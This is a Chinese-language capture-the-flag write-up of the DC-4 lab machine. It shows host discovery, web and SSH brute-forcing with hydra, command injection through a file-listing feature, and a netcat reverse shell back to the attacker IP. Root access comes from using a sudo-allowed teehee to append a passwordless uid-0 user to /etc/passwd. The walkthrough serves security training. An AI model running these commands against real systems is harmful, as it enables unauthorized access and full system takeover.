靶机:192.168.174.190

攻击机:192.168.174.137

https://blog.csdn.net/weixin_44288604/article/details/108018008

DC4

主机发现

arp-scan -l

image-20240812191355364

端口扫描

nmap -p- -n -O 192.168.174.190

image-20240812191541835

开放了22,80端口

nmap -p 22,80 -A 192.168.174.190

image-20240812191737988

访问服务+目录扫描

image-20240812191819031

登陆界面,可以尝试爆破

image-20240812192050799

目录扫描没发现其它东西

爆破

burp抓包,传字典,可以去一些爆破工具的目录下,看看,这里用的是/usr/share/jhon/password.lst

image-20240812193318974

也可以用hydra

hydra -t 1 -l admin -P/usr/jhon/password.lst -o out.txt -vV -f 192.168.174.190 http-post-form "/:username=^USER^&password=^PASS^:error"

但判断条件不好写,所以还是不用了

登陆

image-20240812193453913

发现命令执行

命令执行

list files

抓包

image-20240812195300598

可以看到ls -l中间的空格被编码成+号了,先试试别的命令

image-20240812195847894

发现可以执行whoami命令,先坐下敏感信息收集

image-20240812200011083

访问他们的家目录,在jim家发现一个奇怪的文件

image-20240812200139900

查看下权限

image-20240812200330365

还是可执行权限,但是jim才可以执行,我么你看看其它地方还有没有提示

image-20240812200456906

在backups目录下发现旧密码,查看一下,估计就是利用字典爆破登陆jim执行test.sh

image-20240812200614127

是一个字典,给它保存下来,利用hydra爆破

SSH爆破

hydra -l jim -P wordlist.txt ssh://192.168.174.190 -vV -o hydra.ssh

image-20240812201547595

成功爆破密码,ssh远程登陆尝试

反弹shell

除了这种爆破的方式还可以通过反弹shell的方式获取权限

试过bash但好像因为&这个符号得原因,执行不了

反弹不回来,得换个思路,看下靶机有没有装nc

nc -c /bin/bash 192.168.174.137 8888

image-20240812223004648

然后可以

python -c 'import pty;pty.spawn("/bin/bash")'

提权

ssh jim@192.168.174.190 

image-20240812201721959

sudo -l发现没有sudo权限,打开刚刚的test.sh文件,

!/bin/bash
for i in {1..5}
do
sleep 1
echo "Learn bash they said."
sleep 1
echo "Bash is good they said."
done
echo "But I'd rather bash my head against a brick wall."

没什么线索,看看剩下那个文件

image-20240812201919318

是一封rooot发来的信,看不出来什么信息,去/var/mail再看看有没有其他有意思的信息,找到了一封charles写给jim的邮件,并且看到了charles的账户密码

image-20240812215641965

使用ssh登录charles的账户,但是好像没有什么有趣的文件,然后因为jim不能使用sudo权限,所以我们得在charles账户sudo -l一下

image-20240812215829219

发现charles得teehee命令有root权限,去查了一下teehee是什么命令

https://www.cnblogs.com/zlgxzswjy/p/16118468.html

teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权

核心思路就是利用其在passwd文件中追加一条uid为0的用户条目

echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su raaj就可以登录到raaj用户,这个用户因为uid为0,所以也是root权限

image-20240812221552502

然后我们su切换用户

image-20240812221834240

【额外补充:没有给新用户创建密码是因为你创建了也没有用,因为第2个位置是密码占位符,是占位符!!!】